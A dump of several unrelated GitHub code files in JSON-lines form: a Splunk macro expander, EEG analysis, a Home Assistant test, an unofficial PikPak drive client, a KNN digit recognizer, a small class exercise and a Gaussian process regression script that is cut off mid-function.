used\r\n\t\t\t\t\t\tif dMacro[\"arguments\"]!=\"\":\r\n\t\t\t\t\t\t\tparams = self.getMacroParams(macro)\r\n\t\t\t\t\t\t\tcount = 0\r\n\t\t\t\t\t\t\tfor arg in dMacro[\"arguments\"].split(\",\"):\r\n\t\t\t\t\t\t\t\ttmpDefinition = tmpDefinition.replace(\"$\"+arg.strip()+\"$\",params[count])\r\n\t\t\t\t\t\t\t\tcount += 1\r\n\t\t\t\t\t\t# now that we have our expanded definition for the macro, \r\n\t\t\t\t\t\t# replace it in this level's definition\r\n\t\t\t\t\t\tdefinition = definition.replace(\"`\"+macro+\"`\", tmpDefinition)\r\n\t\t\t\texpandedMacroDict = { 'level':level, 'definition':definition }\r\n\t\t\t\texpandedMacro.append(expandedMacroDict)\r\n\t\t\t\tlevel+=1\r\n\t\t\t\t\t\r\n\t\treturn expandedMacro\r\n\t\t\r\n\tdef generate(self):\r\n\t\tif self.max_level != None:\r\n\t\t\tself.max_level = int(self.max_level)\r\n\t\telse:\r\n\t\t\tself.max_level = int(10)\r\n\t\tself.macroList = self.getMacros()\r\n\t\tif self.macro != None:\r\n\t\t\tretList = self.expandMacro()\r\n\t\telse:\r\n\t\t\tretList = self.macroList\r\n\t\tfor macroDict in retList:\r\n\t\t\tyield macroDict\r\n\r\ndispatch(ExpandMacros, sys.argv, sys.stdin, sys.stdout, __name__)\r\n","repo_name":"emacintosh/SA-expandmacro","sub_path":"bin/expandmacro.py","file_name":"expandmacro.py","file_ext":"py","file_size_in_byte":6375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9187329896","text":"\"\"\"\n==================================\nExploratory analysis of cue epochs\n==================================\n\nCompute descriptive statistics and exploratory analysis plots\nfor cue locked epochs.\n\nAuthors: José C. García Alanis \n Philipp Lange \n\nLicense: BSD (3-clause)\n\"\"\"\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom matplotlib.colorbar import ColorbarBase\nfrom matplotlib.colors import Normalize\n\nfrom mne import read_epochs, combine_evoked, grand_average\nfrom mne.channels import make_1020_channel_selections\nfrom mne.viz import plot_compare_evokeds\n\n# All parameters are defined in config.py\nfrom config import subjects, fname, LoggingFormat\nfrom stats import within_subject_cis\n\nincongruent_incorrect_neu = dict()\nincongruent_correct_neu = dict()\nincongruent_incorrect_erps_neu = dict()\nincongruent_correct_erps_neu = dict()\nincongruent_incorrect_pos = dict()\nincongruent_correct_pos = dict()\nincongruent_incorrect_erps_pos = dict()\nincongruent_correct_erps_pos = dict()\nincongruent_incorrect_neg = dict()\nincongruent_correct_neg = dict()\nincongruent_incorrect_erps_neg = dict()\nincongruent_correct_erps_neg = dict()\n\nbaseline = (-0.800, -0.500)\n\n###############################################################################\n# 1) loop through subjects and compute ERPs for A and B cues\nfor subj in subjects:\n # log progress\n print(LoggingFormat.PURPLE +\n LoggingFormat.BOLD +\n 'Loading epochs for subject %s' % subj +\n LoggingFormat.END)\n\n # import the output from previous processing step\n input_file = fname.output(subject=subj,\n processing_step='reaction_epochs',\n file_type='epo.fif')\n target_epo = read_epochs(input_file, preload=True)\n\n # extract a and b epochs (only those with correct responses)\n # and apply baseline\n incongruent_incorrect_neu['subj_%s' % subj] = target_epo['block == 1']['incorrect_incongruent'].apply_baseline(baseline)\n incongruent_correct_neu['subj_%s' % subj] = target_epo['block == 1']['correct_incongruent'].apply_baseline(baseline)\n incongruent_incorrect_pos['subj_%s' % subj] = target_epo['block == 2']['incorrect_incongruent'].apply_baseline(baseline)\n incongruent_correct_pos['subj_%s' % subj] = target_epo['block == 2']['correct_incongruent'].apply_baseline(baseline)\n incongruent_incorrect_neg['subj_%s' % subj] = target_epo['block == 3']['incorrect_incongruent'].apply_baseline(baseline)\n incongruent_correct_neg['subj_%s' % subj] = target_epo['block == 3']['correct_incongruent'].apply_baseline(baseline)\n\n # compute ERP\n incongruent_incorrect_erps_neu['subj_%s' % subj] = incongruent_incorrect_neu['subj_%s' % subj].average()\n incongruent_correct_erps_neu['subj_%s' % subj] = incongruent_correct_neu['subj_%s' % subj].average()\n incongruent_incorrect_erps_pos['subj_%s' % subj] = incongruent_incorrect_pos['subj_%s' % subj].average()\n incongruent_correct_erps_pos['subj_%s' % subj] = incongruent_correct_pos['subj_%s' % subj].average()\n incongruent_incorrect_erps_neg['subj_%s' % subj] = incongruent_incorrect_neg['subj_%s' % subj].average()\n incongruent_correct_erps_neg['subj_%s' % subj] = incongruent_correct_neg['subj_%s' % subj].average()\n\n# create evokeds dict\nga_incongruent_incorrect_neu = \\\n grand_average(list(incongruent_incorrect_erps_neu.values()))\nga_incongruent_correct_neu = \\\n grand_average(list(incongruent_correct_erps_neu.values()))\nga_incongruent_incorrect_pos = \\\n grand_average(list(incongruent_incorrect_erps_pos.values()))\nga_incongruent_correct_pos = \\\n grand_average(list(incongruent_correct_erps_pos.values()))\nga_incongruent_incorrect_neg = \\\n grand_average(list(incongruent_incorrect_erps_neg.values()))\nga_incongruent_correct_neg = \\\n grand_average(list(incongruent_correct_erps_neg.values()))\n\n\n# create and plot difference ERP\njoint_kwargs = \\\n dict(times=[0.050, 0.200],\n ts_args=dict(time_unit='s'),\n topomap_args=dict(time_unit='s'))\n\ncombine_evoked([ga_incongruent_incorrect_neu, - ga_incongruent_correct_neu,\n ga_incongruent_incorrect_pos, - ga_incongruent_correct_pos],\n weights='equal').plot_joint(**joint_kwargs)\n\ncompare = plot_compare_evokeds(dict(neg_incorrect=ga_incongruent_incorrect_neg,\n neg_correct=ga_incongruent_correct_neg,\n pos_incorrect=ga_incongruent_incorrect_pos,\n pos_correct=ga_incongruent_correct_pos,\n solo_incorrect=ga_incongruent_incorrect_neu,\n solo_correct=ga_incongruent_correct_neu),\n picks='FCz', invert_y=True,\n ylim=dict(eeg=[-15, 5]))\n\n\nga_incongruent_incorrect_neu.plot_joint(picks='eeg', title='Neutral')\nga_incongruent_incorrect_neu.plot_topomap(times=[0., 0.1, 0.2, 0.3, 0.4],\n ch_type='eeg', title='neutral')\n\nga_incongruent_incorrect_pos.plot_joint(picks='eeg', title='Positiv')\nga_incongruent_incorrect_pos.plot_topomap(times=[0., 0.1, 0.2, 0.3, 0.4],\n ch_type='eeg', title='Positiv')\n\nga_incongruent_incorrect_neg.plot_joint(picks='eeg', title='Positiv')\nga_incongruent_incorrect_neg.plot_topomap(times=[0., 0.1, 0.2, 0.3, 0.4],\n ch_type='eeg', title='Positiv')\n","repo_name":"JoseAlanis/supplementary_social_flanker","sub_path":"05_analysis.py","file_name":"05_analysis.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23872236265","text":"\"\"\"Test evaluation base.\"\"\"\n# pylint: disable=import-error,protected-access\nfrom pathlib import Path\nfrom unittest.mock import AsyncMock, patch\n\nfrom supervisor.coresys import CoreSys\nfrom supervisor.resolution.const import ContextType, IssueType, SuggestionType\nfrom supervisor.resolution.data import Issue, Suggestion\nfrom supervisor.resolution.fixups.store_execute_reset import FixupStoreExecuteReset\n\n\nasync def test_fixup(coresys: CoreSys, tmp_path):\n \"\"\"Test fixup.\"\"\"\n store_execute_reset = FixupStoreExecuteReset(coresys)\n test_repo = Path(tmp_path, \"test_repo\")\n\n assert store_execute_reset.auto\n\n coresys.resolution.suggestions = Suggestion(\n SuggestionType.EXECUTE_RESET, ContextType.STORE, reference=\"test\"\n )\n coresys.resolution.issues = Issue(\n IssueType.CORRUPT_REPOSITORY, ContextType.STORE, reference=\"test\"\n )\n\n test_repo.mkdir()\n assert test_repo.exists()\n\n mock_repositorie = AsyncMock()\n mock_repositorie.git.path = test_repo\n coresys.store.repositories[\"test\"] = mock_repositorie\n\n with patch(\"shutil.disk_usage\", return_value=(42, 42, 2 * (1024.0**3))):\n await store_execute_reset()\n\n assert not test_repo.exists()\n assert mock_repositorie.load.called\n assert len(coresys.resolution.suggestions) == 0\n assert len(coresys.resolution.issues) == 0\n","repo_name":"home-assistant/supervisor","sub_path":"tests/resolution/fixup/test_store_execute_reset.py","file_name":"test_store_execute_reset.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":1510,"dataset":"github-code","pt":"3"} +{"seq_id":"73430676880","text":"# -*- coding:utf-8 -*-\nimport json\nimport time\nimport requests\nimport re\nimport configparser\nimport common\n# 读取配置文件\nconfig = configparser.ConfigParser()\nconfig.read('config.ini', encoding=\"utf-8\")\n\n# 将配置文件中的键值对保存到一个字典对象中\nconfig_dict = {}\nfor section in config.sections():\n for option in config.options(section):\n value = config.get(section, option)\n config_dict[option] = value\n\n# 将字典中���键值对转换为程序中的同名变量\nfor key in config_dict:\n globals()[key] = config_dict[key]\n\nstart_time = time.time()\n\nproxies = json.loads(proxies)\nheaders = json.loads(headers)\n# 在这里编写你的程序\n\ndef getCaptchaToken():\n data = {\n \"client_id\": \"YUMx5nI8ZU8Ap8pm\",\n \"action\": \"POST:/v1/auth/signin\",\n \"device_id\": \"e3b1860983684cbe8a60af6020b34f7c\",\n \"captcha_token\": \"ck0.JpNnj9U9uH69PNdg0mUSztQwEs45xVYxrjyCcLw4_Doi8Z5GBsyEGRKYlr9I3cn7ND_FOzRhnv8X7-M381SNRyWyQozgR7KjYtciM1JLhfUkJSBxOLBH4rFsM8K66pzcAt-mk5evPIdk9KXx1TCNsx-jiXtKhIokizj7q-n9J_9Pjz6rX7xkqc3ZQ1UqMd5rJ2_WfS_hMdxM_FrRHsp4pw88i8gS_r0MkdcyHtWAYjZlrGhkHJ-nCE0pthiwZQiAriYCmn3MBCdAJaoduxImyQ3iFShRJe-7ppNqarVbInIFm2XKtqrCJYG7HvKl0FrLuHTawdwmiNuwhm2ns6sopMpAdFsaUQnBU-Cy6ztyXf4.ClAI-ZeUvo0xEhBZVU14NW5JOFpVOEFwOHBtGgUxLjAuMCIMbXlwaWtwYWsuY29tKiBlM2IxODYwOTgzNjg0Y2JlOGE2MGFmNjAyMGIzNGY3YxKAAbjptjRUPjd9RP3b1N9YqZuQkA00m73vMJy-nzRffsYJk92nA106IYGfM5AzE4cMaOQGquDe-gqtt5BsJptsgWm2B8NpqIsAZ7fFEUue1M2pNQmJcnVfuFsHDT9Ts8_ZRJzjmIFa_wdoJ2w8QMJNvG9rFDHbO46cR2HnTlX_MNa-\",\n \"meta\": {\n \"email\": username\n }\n }\n url = \"https://user.mypikpak.com/v1/shield/captcha/init\"\n response = requests.post(url=url, data=json.dumps(data), proxies=proxies)\n # print(\"getCaptchaToken\")\n # print(response.text)\n return response.json()[\"captcha_token\"]\ndef getToken():\n # print(\"init\")\n urlInit = \"https://user.mypikpak.com/v1/shield/captcha/init\"\n headerForInit = {\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,ja-JP;q=0.8,ja;q=0.7\",\n \"Content-Length\": \"955\",\n \"Content-Type\": \"application/json\",\n \"Origin\": \"https://mypikpak.com\",\n \"Referer\": \"https://mypikpak.com/\",\n \"Sec-Ch-Ua\": \"\\\"Google Chrome\\\";v=\\\"113\\\", \\\"Chromium\\\";v=\\\"113\\\", \\\"Not-A.Brand\\\";v=\\\"24\\\"\",\n \"Sec-Ch-Ua-Mobile\": \"?0\",\n \"Sec-Ch-Ua-Platform\": \"\\\"Windows\\\"\",\n \"Sec-Fetch-Dest\": \"empty\",\n \"Sec-Fetch-Mode\": \"cors\",\n \"Sec-Fetch-Site\": \"same-site\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\",\n \"X-Client-Id\": \"YUMx5nI8ZU8Ap8pm\",\n \"X-Client-Version\": \"1.0.0\",\n \"X-Device-Id\": \"69f39ffa2113448bb1e055334cc905b3\",\n \"X-Device-Model\": \"chrome%2F113.0.0.0\",\n \"X-Device-Name\": \"PC-Chrome\",\n \"X-Device-Sign\": \"wdi10.69f39ffa2113448bb1e055334cc905b3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n \"X-Net-Work-Type\": \"NONE\",\n \"X-Os-Version\": \"Win32\",\n \"X-Platform-Version\": \"1\",\n \"X-Protocol-Version\": \"301\",\n \"X-Provider-Name\": \"NONE\",\n \"X-Sdk-Version\": \"6.0.0-alpha.0\"\n }\n dataForInit = {\"client_id\": \"YUMx5nI8ZU8Ap8pm\", \"action\": \"POST:/drive/v1/files\",\n \"device_id\": \"69f39ffa2113448bb1e055334cc905b3\",\n \"captcha_token\": \"ck0.a9ARS0QjMAo9vqGP6gDxiMyr60KcfRuMT_XQzaRWprxt6qdfyAprWuHrXw2X4lIlah9QawcWJ1BMbmD2pXho1M-V2qMXe9RgSvQq4zK9yiJFW_hMfQxyOuwuoJbnWN5FY0wB7Quan7fAEqGO1XGJXdKmrkU9Aj32sw51ih0Kmqo1GnUHKtAXrlIUOtQXlH_QF0_uBIMAMniAm6leWX59agXYH3Y7bfY5r6sD7FDWpWyJ_9_N8HCgX2u082yfPeEGRX8zuqH55nTX_cDLH_lnF9YV3LO-3l3iZPILi4_Dblgt8CG_Jy9YlPW7vOpvTgWxIgWH0vRYOzEd6xfSa4_pUqW0Vj17iVyQa1RZlGeUO3U.ClAI_bb2iYgxEhBZVU14NW5JOFpVOEFwOHBtGgUxLjAuMCIMbXlwaWtwYWsuY29tKiA2OWYzOWZmYTIxMTM0NDhiYjFlMDU1MzM0Y2M5MDViMxKAAWlm5buMRn1NnpGKA_NTHI6S6YNU8l_T1qjHl31XDm7kHLkqu_Q5n2vYRX2PSjT7TRrj_Sq8ug11rOQlhBSVxFg3ti3gLqME7pZn1DlNrk_bu60z1pLIMLMulhIux4rROQaAQvp4a_vGq4DHkGwliXZBBT9F6tkiSPeIOUtfCdOR\",\n \"meta\": {\"captcha_sign\": \"1.d4066053ce2fc514884baafc2bae500e\", \"client_version\": \"1.0.0\",\n \"package_name\": \"mypikpak.com\", \"user_id\": \"ZFXTk9GE0B_C_0FY\",\n \"timestamp\": \"1685691905935\"}}\n dataForInit = json.dumps(dataForInit)\n response = common.postRequest(url=urlInit, proxies=proxies, headers=headerForInit, data=dataForInit)\n token = response.json()[\"captcha_token\"]\n return token\n\ndef signinAndGetToken(username, password):\n print(\"开始登录\")\n if username != \"\" and password != \"\":\n print(\"获取token...\")\n url = \"https://user.mypikpak.com/v1/auth/signin\"\n data = {\n \"username\": str(username),\n \"password\": str(password),\n \"client_id\": \"YUMx5nI8ZU8Ap8pm\"\n }\n headers = {\n \"Accept-Language\": \"zh-CN\",\n \"Content-Type\": \"application/json\",\n \"Referer\": \"https://mypikpak.com/\",\n \"Sec-Ch-Ua\": \"\\\"Not.A/Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"114\\\", \\\"Google Chrome\\\";v=\\\"114\\\"\",\n \"Sec-Ch-Ua-Mobile\": \"?0\",\n \"Sec-Ch-Ua-Platform\": \"\\\"Windows\\\"\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\",\n \"X-Captcha-Token\": getCaptchaToken(),\n \"X-Client-Id\": \"YUMx5nI8ZU8Ap8pm\",\n \"X-Client-Version\": \"1.0.0\",\n \"X-Device-Id\": \"e3b1860983684cbe8a60af6020b34f7c\",\n \"X-Device-Model\": \"chrome%2F114.0.0.0\",\n \"X-Device-Name\": \"PC-Chrome\",\n \"X-Device-Sign\": \"wdi10.e3b1860983684cbe8a60af6020b34f7cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n \"X-Net-Work-Type\": \"NONE\",\n \"X-Os-Version\": \"Win32\",\n \"X-Platform-Version\": \"1\",\n \"X-Protocol-Version\": \"301\",\n \"X-Provider-Name\": \"NONE\",\n \"X-Sdk-Version\": \"6.0.0-alpha.0\"\n }\n response = common.postRequest(url=url, headers=headers, data=json.dumps(data), proxies=proxies)\n # print(response.json())\n config.set('pikpak', 'token', response.json()[\"access_token\"])\n with open('config.ini', 'w') as config_file:\n config.write(config_file)\n print(\"获取token成功\")\n else:\n raise Exception(\"请在config.ini中输入账号和密码\")\ndef getFileList(folderId,kind):\n print(\"获取文件列表...\")\n urlGetFileList = \"https://api-drive.mypikpak.com/drive/v1/files\"\n params = {\n \"thumbnail_size\": \"SIZE_MEDIUM\",\n \"limit\": \"200\",\n \"parent_id\": f\"{folderId}\",\n \"with_audit\": \"true\",\n \"order\": \"MODIFY_TIME_DESC\",\n \"filters\": \"\"\"{\"kind\":{\"eq\":\"drive#folder\"},\"trashed\":{\"eq\":false},\"phase\":{\"eq\":\"PHASE_TYPE_COMPLETE\"}}\"\"\"\n }\n if \"folder\" in kind:\n params[\"filters\"]= \"\"\"{\"kind\":{\"eq\":\"drive#folder\"},\"trashed\":{\"eq\":false},\"phase\":{\"eq\":\"PHASE_TYPE_COMPLETE\"}}\"\"\"\n elif \"file\" in kind:\n params[\"filters\"]=\"\"\"{\"kind\":{\"eq\":\"drive#file\"},\"trashed\":{\"eq\":false},\"phase\":{\"eq\":\"PHASE_TYPE_COMPLETE\"}}\"\"\"\n\n headerForGetFileList = {\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"zh-CN\",\n \"Authorization\": \"Bearer \" + config_dict[\"token\"],\n \"Content-Type\": \"application/json\",\n \"Origin\": \"https://mypikpak.com\",\n \"Referer\": \"https://mypikpak.com/\",\n \"Sec-Ch-Ua\": \"\\\"Google Chrome\\\";v=\\\"113\\\", \\\"Chromium\\\";v=\\\"113\\\", \\\"Not-A.Brand\\\";v=\\\"24\\\"\",\n \"Sec-Ch-Ua-Mobile\": \"?0\",\n \"Sec-Ch-Ua-Platform\": \"\\\"Windows\\\"\",\n \"Sec-Fetch-Dest\": \"empty\",\n \"Sec-Fetch-Mode\": \"cors\",\n \"Sec-Fetch-Site\": \"same-site\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\",\n \"X-Captcha-Token\":getToken(),\n \"X-Device-Id\": \"69f39ffa2113448bb1e055334cc905b3\"\n }\n response =common.getRequest(url=urlGetFileList, proxies=proxies, headers=headerForGetFileList, params=params)\n print(\"获取文件列表成功\")\n return (response.json())\n\n\ndef verifyFolderId():\n print(\"获取文件夹id...\")\n path = srcfolder.split(\"/\")\n id=\"\"\n for i in path:\n flag = 0\n response = getFileList(id,\"folder\")\n # print(response)\n for file in response[\"files\"]:\n if file[\"name\"] == i and file[\"kind\"] == \"drive#folder\":\n id = file[\"id\"]\n flag = 1\n break\n if flag == 0:\n id = createFolder(i, id)\n config.set('pikpak', 'srcfolderid', id)\n path = targetfolder.split(\"/\")\n id = \"\"\n for i in path:\n flag = 0\n response = getFileList(id, \"folder\")\n # print(response)\n for file in response[\"files\"]:\n if file[\"name\"] == i and file[\"kind\"] == \"drive#folder\":\n id = file[\"id\"]\n flag = 1\n break\n if flag == 0:\n id = createFolder(i, id)\n config.set('pikpak', 'targetfolderid', id)\n with open('config.ini', 'w') as config_file:\n config.write(config_file)\n print(\"获取文件夹id成功\")\n\nsigninAndGetToken(username, password)\n\nconfig.read('config.ini', encoding=\"utf-8\")\n# 将配置文件中的键值对保存到一个字典对象中\nconfig_dict = {}\nfor section in config.sections():\n for option in config.options(section):\n value = config.get(section, option)\n config_dict[option] = value\n# 将字典中的键值对转换为程序中的同名变量\nfor key in config_dict:\n globals()[key] = config_dict[key]\nproxies = json.loads(proxies)\nheaders = json.loads(headers)\n\nverifyFolderId()\ninput(\"预处理完毕,按任意键退出\")\n\n","repo_name":"brestain/Pikpak-ExtractingResources","sub_path":"init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":9862,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"72963133521","text":"import csv\nimport math\nimport random\nimport numpy as np\nfrom tqdm import tqdm\nfrom multiprocessing import Pool\nimport time\nfrom IPython import embed\n\ntrain_data = []\ntrain_label = []\nval_data = []\nval_label = []\ntest_data = []\ntest_label = []\n\nN = 28\n\n\ndef imshow(img):\n print('image size:', img.shape)\n assert len(img.shape) == 2\n print('-' * img.shape[1])\n for i in range(img.shape[0]):\n for j in range(img.shape[1]):\n if img[i, j] > 0:\n print('x', end='')\n else:\n print(' ', end='')\n print('')\n print('-' * img.shape[1])\n\ndef loadTrainData():\n l = []\n result = []\n with open('train.csv', 'r') as f:\n lines = csv.reader(f)\n for line in lines:\n l.append(line)\n l.remove(l[0])\n l = np.array(l)\n # random.shuffle(l)\n label = l[:,0]\n data = l[:,1:]\n label = np.int32(label)\n data = np.int32(data)\n # print('data:', data.shape) # 42000 * 784 28 * 27\n for i in tqdm(range(len(data))):\n\n # imshow(data[i].reshape(28, 28))\n img1 = CutPicture(data[i].reshape(28, 28))\n # imshow(img1)\n img = StretchPicture(img1)\n # imshow(img)\n img = img.reshape(-1)\n result.append(img)\n res = np.int32(result)\n\n #data = np.mat(data)\n #label = np.mat(label)\n return res, label\n\ndef loadTestData():\n l = []\n res = []\n with open('test.csv', 'r') as f:\n lines = csv.reader(f)\n for line in lines:\n l.append(line)\n l.remove(l[0])\n data = np.array(l)\n data = np.int32(data)\n for i in tqdm(range(len(data))):\n img2 = CutPicture(data[i].reshape(28, 28))\n img = StretchPicture(img2)\n # imshow(img)\n img = img.reshape(-1)\n res.append(img)\n\n res_test = np.int32(res)\n return res_test\n\n#切割图象\ndef CutPicture(img):\n x1, y1, x2, y2 = JudgeEdge(img)\n return img[x1 : x2 + 1, y1 : y2 + 1]\n\ndef JudgeEdge(img):\n x1, y1, x2, y2 = img.shape[0], img.shape[1], 0, 0\n for i in range(img.shape[0]):\n for j in range(img.shape[1]):\n if img[i, j] > 0:\n x1 = min(x1, i)\n y1 = min(y1, j)\n x2 = max(x2, i)\n y2 = max(y2, j)\n return x1, y1, x2, y2\n\n#拉伸图像\ndef StretchPicture(img):\n newImg = np.ones(N**2).reshape(N, N)\n newImg1 = np.ones(N ** 2).reshape(N, N)\n\n step1 = len(img[0])/N\n\n step2 = len(img)/N\n\n for i in range(len(img)):\n for j in range(N):\n newImg[i, j] = img[i, int(np.floor(j*step1))]\n\n for i in range(N):\n for j in range(N):\n newImg1[j, i] = newImg[int(np.floor(j*step2)), i]\n return newImg1\n\n\n\ndef KNN(target, traindata, trainlabel, k = 1):\n size = traindata.shape[0]\n distances = np.abs(traindata - np.tile(target, (size, 1))).sum(axis = 1)\n\n distancesorted = distances.argsort()\n for i in range(k):\n Targetlabel = trainlabel[distancesorted[i]]\n return Targetlabel\n\ndef saveResult(result):\n with open('res.csv', 'w') as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow(['ImageId', 'Label'])\n for item in result:\n csv_writer.writerow(item)\n\ndef getTarget():\n targetList = []\n test_data = loadTestData()\n for i in range(len(test_data)):\n x = test_data[i]\n x = x.astype('int32')\n targetList.append(x)\n return targetList\n\ndef knn(Imageid):\n return KNN(test_data[Imageid], train_data, train_label, 1)\n\n\ndef main():\n global train_data, train_label, test_data\n train_data, train_label = loadTrainData()\n test_data = loadTestData()\n\n print('algorithm begin')\n tic = time.time()\n Imageid = range(len(test_data))\n \n pool = Pool(8)\n test_label = pool.map(knn, Imageid)\n pool.close()\n pool.join()\n print('time=', time.time() - tic)\n\n result = []\n print(len(test_label))\n for i in range(len(test_label)):\n result.append([i+1, test_label[i]])\n saveResult(result)\n\nif __name__ == '__main__':\n #import profile\n #profile.run(\"main()\", \"prof.txt\")\n #import pstats\n #p = pstats.Stats(\"prof.txt\")\n #p.sort_stats(\"time\").print_stats()\n main()\n\n # 0.96771 \n","repo_name":"zhaixinyi/Digit-Recognizer","sub_path":"KNN_cut.py","file_name":"KNN_cut.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40262357675","text":"# 新規作成 2023/3/22\n# インスタンス変数\n\nclass MenuItem:\n def info(self,name,price):\n # 「 ○○: ¥□□ 」となるように出力してください\n self.name = name\n self.price = price\n print(self.name + \": ¥\" + str(self.price))\n\n\nmenu_item1 = MenuItem()\nmenu_item1.info(\"サンドイッチ\",300)\n\nmenu_item2 = MenuItem()\nmenu_item2.info(\"おにぎり\",150)","repo_name":"nogizakapython/python3","sub_path":"progate21_2.py","file_name":"progate21_2.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71185989842","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import optimize\nfrom random_data_generator import polynomial_basis_linear_model_data_generator\n\n# hyperparameter\nVAR = 1\nL = 1\nALPHA = 1\n\ndef quadratic_kernel(x_n, x_m, kernel_args):\n (var, l, alpha) = kernel_args \n\n # rational quadratic kernel\n return var * (1 + ((x_n - x_m)**2 / (2 * alpha * l**2))) ** (-alpha)\n\ndef quadratic_kernel_mat(X, kernel_args):\n (var, l, alpha) = kernel_args \n X_repeat_h = np.repeat(X, X.shape[0], axis=1) # (n, 1) -> (n, n)\n X_repeat_v = np.repeat(X.T, X.shape[0], axis=0) # (1, n) -> (n, n)\n\n # rational quadratic kernel matrix\n return var * (1 + ((X_repeat_h - X_repeat_v)**2 / (2 * alpha * l**2))) ** (-alpha)\n\ndef gaussian_process_regression(x_samples, X, Y, beta, kernel_args):\n # get covariance matrix\n C = quadratic_kernel_mat(X, kernel_args) + (1/beta) * np.identity(X.shape[0]) # c(n, m) = k(x_n, x_m) + 1/beta * delta(n, m)\n assert np.linalg.det(C) != 0, 'C is not invertible'\n\n Y_up_95,Y_mean, Y_down_95 = [], [], []\n for x_sample in x_samples:\n\n k_x_xstar = np.array([quadratic_kernel(x_sample, x, kernel_args) for x in X]) # k(x, x*)\n k_star = quadratic_kernel(x_sample, x_sample, kernel_args) + 1/beta # k* = k(x*, x*) + 1/beta\n\n # count mu(x_star), std(x_star)\n mean = ((k_x_xstar.T @ np.linalg.inv(C)) @ Y)[0,0]\n std = (k_star - (k_x_xstar.T @ np.linalg.inv(C)) @ k_x_xstar)[0,0]\n\n Y_up_95.append(mean + 1.96 * (std**0.5))\n Y_mean.append(mean)\n Y_down_95.append(mean - 1.96 * (std**0.5))\n \n return Y_up_95, Y_mean, Y_down_95\n\ndef negative_marginal_log_likelihood(parameters, *args) :\n # args = (sign, X, Y, beta)\n [var, l, alpha] = parameters # parameters = [var, l, alpha]\n (sign, X, Y, beta) = args\n n = X.shape[0]\n\n # quadratic kernel matrix\n X_repeat_h = np.repeat(X, n, axis=1) # (n, 1) -> (n, n)\n X_repeat_v = np.repeat(X.T, n, axis=0) # (1, n) -> (n, n)\n K = var * (1 + ((X_repeat_h - X_repeat_v)**2 / (2 * alpha * (l**2)))) ** (-alpha)\n \n # covariance\n C = K + (1/beta) * np.identity(n) # c(n, m) = k(x_n, x_m) + 1/beta * delta(n, m)\n C_inv = np.linalg.inv(C)\n\n # marginal log likelihood\n ret = -(Y.T @ C_inv) @ Y -1/2 * np.log(np.linalg.det(C)) -n/2 * np.log(2 * np.pi)\n return sign * ret[0,0]\n\ndef task1(x_samples, X, Y, beta):\n # hyper parameters\n kernel_args=(VAR, L, ALPHA)\n \n Y_up_95, Y_mean, Y_down_95 = gaussian_process_regression(x_samples, X, Y, beta, kernel_args)\n before_optimization = negative_marginal_log_likelihood([VAR, L, ALPHA], 1, X, Y, beta)\n print('before optimization : [var, l, alpha] = [{:.5f}, {:.5f}, {:.5f}], log likelihood = {}'.format(VAR, L, ALPHA, before_optimization))\n\n plt.figure(figsize=(10, 6))\n plt.title(f'Before optimization (amplitude^2 = {VAR}, lengthscale = {L}, alpha = {ALPHA})')\n plt.plot(x_samples, Y_up_95, c='#15dc15')\n plt.plot(x_samples, Y_mean, c='#8080fe')\n plt.plot(x_samples, Y_down_95, c='#15dc15')\n plt.fill_between(x_samples, Y_up_95, Y_down_95, color='#e0fce0')\n plt.scatter(X, Y, c='b', s=10)\n plt.xlabel('x')\n plt.ylabel('y')\n plt.savefig('before_optimization.png')\n plt.show()\n\n\ndef task2(x_samples, X, Y, beta):\n\n # run optimization by initial guess given\n result = optimize.minimize(negative_marginal_log_likelihood, [VAR, L, ALPHA], args=(-1, X, Y, beta))\n \n [var, l, alpha] = result.x\n kernel_args=(var, l, alpha)\n Y_up_95, Y_mean, Y_down_95 = gaussian_process_regression(x_samples, X, Y, beta, kernel_args)\n after_optimization = negative_marginal_log_likelihood([var, l, alpha], 1, X, Y, beta)\n print('after optimization : [var, l, alpha] = [{:.5f}, {:.5f}, {:.5f}], log likelihood = {}'.format(var, l, alpha, after_optimization))\n\n plt.figure(figsize=(10, 6))\n plt.title(f'After optimization (amplitude^2 = {np.round(100 * var) / 100}, lengthscale = {np.round(100 * l) / 100}, alpha = {np.round(100 * alpha) / 100})')\n plt.plot(x_samples, Y_up_95, c='#15dc15')\n plt.plot(x_samples, Y_mean, c='#8080fe')\n plt.plot(x_samples, Y_down_95, c='#15dc15')\n plt.fill_between(x_samples, Y_up_95, Y_down_95, color='#e0fce0')\n plt.scatter(X, Y, c='b', s=10)\n plt.xlabel('x')\n plt.ylabel('y')\n plt.savefig('after_optimization.png')\n plt.show()\n\ndef main():\n # read raw data\n input_data = open('data/input.data', 'r')\n lines = input_data.readlines()\n data_list = 